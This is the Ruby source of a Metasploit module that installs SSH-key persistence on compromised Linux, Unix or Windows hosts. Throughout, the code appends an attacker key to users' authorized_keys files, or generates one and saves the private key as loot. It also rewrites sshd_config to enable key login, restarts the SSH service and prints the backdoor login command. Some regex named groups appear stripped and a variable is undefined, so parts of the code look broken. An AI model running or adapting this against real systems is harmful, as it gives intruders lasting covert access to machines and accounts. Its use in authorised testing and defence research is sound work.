## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'sshkey' class MetasploitModule < Msf::Exploit::Local Rank = ExcellentRanking prepend Msf::Exploit::Remote::AutoCheck include Msf::Post::File include Msf::Post::Unix include Msf::Post::Windows::UserProfiles include Msf::Exploit::EXE include Msf::Exploit::Local::Persistence include Msf::Exploit::Deprecated moved_from 'post/linux/manage/sshkey_persistence' moved_from 'post/windows/manage/sshkey_persistence' def initialize(info = {}) super( update_info( info, 'Name' => 'SSH Key Persistence', 'Description' => %q{ This module will add an SSH key to a specified user (or all), to allow remote login via SSH at any time. No payload is required for this module to work. If an SSH key is not provided, a new 4096 bit RSA keypair will be generated. The private key will be stored as loot for later use. }, 'License' => MSF_LICENSE, 'Author' => [ 'h00die ', # linux 'Dean Welch ' # windows ], 'Platform' => %w[linux unix win], # this must be defined despite the module not using a payload 'Arch' => ARCH_ALL, # doesn't matter because we don't use the payload 'SessionTypes' => [ 'meterpreter', 'shell' ], 'References' => [ ['ATT&CK', Mitre::Attack::Technique::T1098_004_SSH_AUTHORIZED_KEYS], ['URL', 'https://learn.microsoft.com/en-us/windows-server/administration/openssh/openssh_keymanagement'], ['URL', 'https://learn.microsoft.com/en-us/windows-server/administration/openssh/openssh_install_firstuse?tabs=gui&pivots=windows-10'], ['URL', 'https://stackoverflow.com/a/50502015'] ], 'Targets' => [ [ 'Automatic', {} ] ], 'DefaultTarget' => 0, 'Stance' => Msf::Exploit::Stance::Aggressive, 'Passive' => false, 'DefaultOptions' => { 'DisablePayloadHandler' => true, # since this is non-traditional persistence in that it isn't traditional event driven 'PAYLOAD' => 'payload/generic/custom' # dummy payload to avoid issues }, 'DisclosureDate' => '1995-07-01', # ssh first release 'Notes' => { 'Stability' => [CRASH_SAFE], 'Reliability' => [EVENT_DEPENDENT], 'SideEffects' => [CONFIG_CHANGES] } ) ) register_options([ OptString.new('USERNAME', [false, 'User to add SSH key to (Default: all users on box)' ]), OptPath.new('PUBKEY', [false, 'Path to Public Key File to use. (Default: Create a new one)' ]), OptString.new('SSHD_CONFIG', [false, 'sshd_config file']), OptBool.new('CREATESSHFOLDER', [true, 'If no .ssh folder is found, create it for the target user', false ]) ]) deregister_options('WritableDir') deregister_options('PAYLOAD') end def check return CheckCode::Safe('sshd_config file not found') unless file?(sshd_config_file) enabled = pubkey_enabled? if enabled.nil? print_warning('Unable to determine if PubkeyAuthentication is enabled due to permission issues') elsif enabled == false return CheckCode::Safe("PubkeyAuthentication disabled in sshd_config and can't be enabled") end CheckCode::Appears('Likely vulnerable') end def sshd_config_file return datastore['SSHD_CONFIG'] if !datastore['SSHD_CONFIG'].nil? && datastore['SSHD_CONFIG'].empty? if session.platform == 'windows' 'C:\ProgramData\ssh\sshd_config' else # assume *nix '/etc/ssh/sshd_config' end end def target_admin_user? !datastore['USERNAME'].nil? && ['root', 'administrator', 'admin'].include?(datastore['USERNAME'].downcase) end def set_pub_key_file_permissions(file, username = nil) if session.platform == 'windows' return unless target_admin_user? cmd_exec("icacls #{file} /inheritance:r") cmd_exec("icacls #{file} /grant SYSTEM:(F)") cmd_exec("icacls #{file} /grant BUILTIN\\Administrators:(F)") else chmod(file, 0o600) unless username.nil? cmd_exec("chown #{username}:#{username} #{file}") end end end def windows_service_owner service_info = cmd_exec('sc qc sshd') /SERVICE_START_NAME\s+: (?.+)/ =~ service_info owner end def write_key(paths, auth_key_file, sep) if datastore['PUBKEY'].nil? key = SSHKey.generate(bits: 4096) # https://github.com/bensie/sshkey/issues/41 our_pub_key = key.ssh_public_key private_key_path = store_loot('id_rsa', 'text/plain', session, key.private_key, 'ssh_id_rsa', 'OpenSSH Private Key File') print_good("Storing new private key as #{private_key_path}. Change the permissions to 600 before using it") else our_pub_key = ::File.read(datastore['PUBKEY']) end paths.each do |path| path.chomp! authorized_keys = "#{path}#{sep}#{auth_key_file}" next unless file?(authorized_keys) # make a backup of the authorized_keys file so we can add it to the restore rc auth_keys_backup = read_file(authorized_keys) loot_path = store_loot('authorized_keys', 'text/plain', session, auth_keys_backup, 'authorized_keys', 'SSH Authorized Keys File') @clean_up_rc << "upload #{loot_path} #{authorized_keys}\n" # start exploiting print_status("Adding key to #{authorized_keys}") append_file(authorized_keys, "\n#{our_pub_key}") set_pub_key_file_permissions(authorized_keys) print_good "Persistence installed! Call a shell using 'ssh -i #{private_key_path} @#{session.session_host}'" print_good 'use auxiliary/scanner/ssh/ssh_login' print_good " run KEY_PATH=#{private_key_path} RHOSTS=#{session.session_host} USERNAME=" next unless datastore['PUBKEY'].nil? path_array = path.split(sep) path_array.pop user = path_array.pop credential_data = { origin_type: :session, session_id: session.db_record ? session.db_record.id : nil, post_reference_name: refname, private_type: :ssh_key, private_data: key.private_key.to_s, username: user, workspace_id: myworkspace_id } create_credential(credential_data) end end def pubkey_enabled? print_status('Checking SSH Permissions') if session.platform != 'windows' && !readable?(sshd_config_file) return nil end sshd_config = read_file(sshd_config_file) return nil if sshd_config.nil? || sshd_config.empty? # should catch permission errors if /^#?\s*PubkeyAuthentication\s+(?yes|no)/ =~ sshd_config # If the line exists, check if it's commented or explicitly "no" if sshd_config =~ /^#\s*PubkeyAuthentication/ || pub_key == 'no' print_error('Pubkey Authentication disabled') enable_pub_key_auth(sshd_config) if read_file(sshd_config_file) == sshd_config print_bad('Unable to reconfigure sshd_config to enable PubkeyAuthentication') return false else print_good('PubkeyAuthentication enabled successfully') end else vprint_good("Pubkey set to #{pub_key}") end else # No PubkeyAuthentication line found at all — treat as disabled print_error('Pubkey Authentication not found, assuming disabled') enable_pub_key_auth(sshd_config) end # also check if the windows admin keys are enabled. See Testing Notes in markdown docs for more info if session.platform == 'windows' && sshd_config !~ /^(\s*#)\s*(Match Group administrators|AuthorizedKeysFile)/ && !target_admin_user? fail_with(Failure::BadConfig, "Admin AuthorizedKeysFile enabled, please 'set username admin' to use this module") end true end def enable_pub_key_auth(sshd_config) vprint_status('Attempting to enable pubkey authentication in sshd_config') loot_path = store_loot('sshd_config', 'text/plain', session, sshd_config, 'sshd_config', 'SSH Server Configuration') @clean_up_rc << "upload #{loot_path} #{sshd_config_file}\n" sshd_config = sshd_config.sub(/^\s*#?\s*PubkeyAuthentication\s+.*/i, 'PubkeyAuthentication yes') write_file(sshd_config_file, sshd_config) if session.platform == 'windows' cmd_exec('net stop "OpenSSH SSH Server"') cmd_exec('net start "OpenSSH SSH Server"') else cmd_exec('systemctl restart sshd || service sshd restart || service ssh restart') end end def authorized_keys_file print_status('Determining authorized_keys file') if session.platform == 'windows' && target_admin_user? return 'administrators_authorized_keys' end if session.platform != 'windows' && !readable?(sshd_config_file) return nil end sshd_config = read_file(sshd_config_file) return nil if sshd_config.nil? || sshd_config.empty? # should catch permission errors. Prefer this over readable? since windows isn't supported %r{^AuthorizedKeysFile\s+(?[\w%/.]+)} =~ sshd_config if auth_key_file auth_key_file = auth_key_file.gsub('%h', '') auth_key_file = auth_key_file.gsub('%%', '%') if auth_key_file.start_with? '/' auth_key_file = auth_key_file[1..] end else auth_key_file = ".ssh#{sep}authorized_keys" end print_status("Authorized Keys File: #{auth_key_file}") auth_key_file end def sep if session.type == 'meterpreter' return session.fs.file.separator elsif session.platform == 'windows' return '\\' end return '/' end def find_user_folders(auth_key_folder) paths = [] # all users if datastore['USERNAME'].nil? if session.platform == 'windows' paths = grab_user_profiles.map { |d| "#{d['ProfileDir']}#{sep}#{auth_key_folder}" } else # assume *nix paths = enum_user_directories.map { |d| "#{d}#{sep}#{auth_key_folder}" } end # admin user elsif target_admin_user? if session.platform == 'windows' paths = ['C:\ProgramData\ssh'] else # assume *nix paths = ["/#{datastore['USERNAME']}/#{auth_key_folder}"] end # specific user elsif session.platform == 'windows' user_profile = grab_user_profiles.find { |profile| profile['UserName'] == datastore['USERNAME'] } if user_profile paths = ["#{user_profile['ProfileDir']}#{sep}#{auth_key_folder}"] else print_error("User #{datastore['USERNAME']} not found") end else # assume *nix user_profile = enum_user_directories.find { |profile| profile.split(sep)[1] == datastore['USERNAME'] } if user_profile paths = ["#{user_profile['ProfileDir']}#{sep}#{auth_key_folder}"] else print_error("User #{datastore['USERNAME']} not found") end end paths.map! { |p| p.delete("\r\n") } paths end def install_persistence auth_key_file = authorized_keys_file unless auth_key_file print_warning('Unable to determine authorized_keys file due to permission issues, using default .ssh/authorized_keys') auth_key_file = ".ssh#{sep}authorized_keys" end # ironically windows default ssh config file has .ssh/authorized_keys so we can't trust the windows sep here auth_key_folder = auth_key_file.split(%r{[/\\]+}).reject(&:empty?)[0...-1].join(sep) auth_key_file = auth_key_file.split(%r{[/\\]+}).reject(&:empty?).last home_folders = find_user_folders(auth_key_folder) vprint_status("Found #{home_folders.length} potential user folders") # double check all the folders and files exist that we need home_folders = home_folders.select do |d| authorized_keys_path = "#{d}#{sep}#{auth_key_file.split(sep).last}" d_exists = directory?(d) if !d_exists && !datastore['CREATESSHFOLDER'] print_warning("No .ssh folder found for #{d}, skipping...") false elsif !d_exists if session.platform == 'windows' session.fs.dir.mkdir(d) else cmd_exec("mkdir -m 700 -p #{d}") cmd_exec("chown #{d.split(sep)[-2]}:#{d.split(sep)[-2]} #{d}") end @clean_up_rc << "rmdir #{d}\n" end f_exists = file?(authorized_keys_path) if !f_exists && !datastore['CREATESSHFOLDER'] print_warning("No #{authorized_keys_path} file found, skipping...") false elsif !f_exists unless write_file(authorized_keys_path, '') print_warning("Unable to create #{authorized_keys_path}, skipping...") false end if session.platform == 'windows' set_pub_key_file_permissions(authorized_keys_path) else set_pub_key_file_permissions(authorized_keys_path, d.split(sep)[-2]) end end true end vprint_status("Found #{home_folders.length} confirmed user folders") if home_folders.nil? || home_folders.empty? fail_with(Failure::NotFound, "No users found with a #{auth_key_file} directory. Try setting CREATESSHFOLDER to true.") end write_key(home_folders, auth_key_file, sep) end end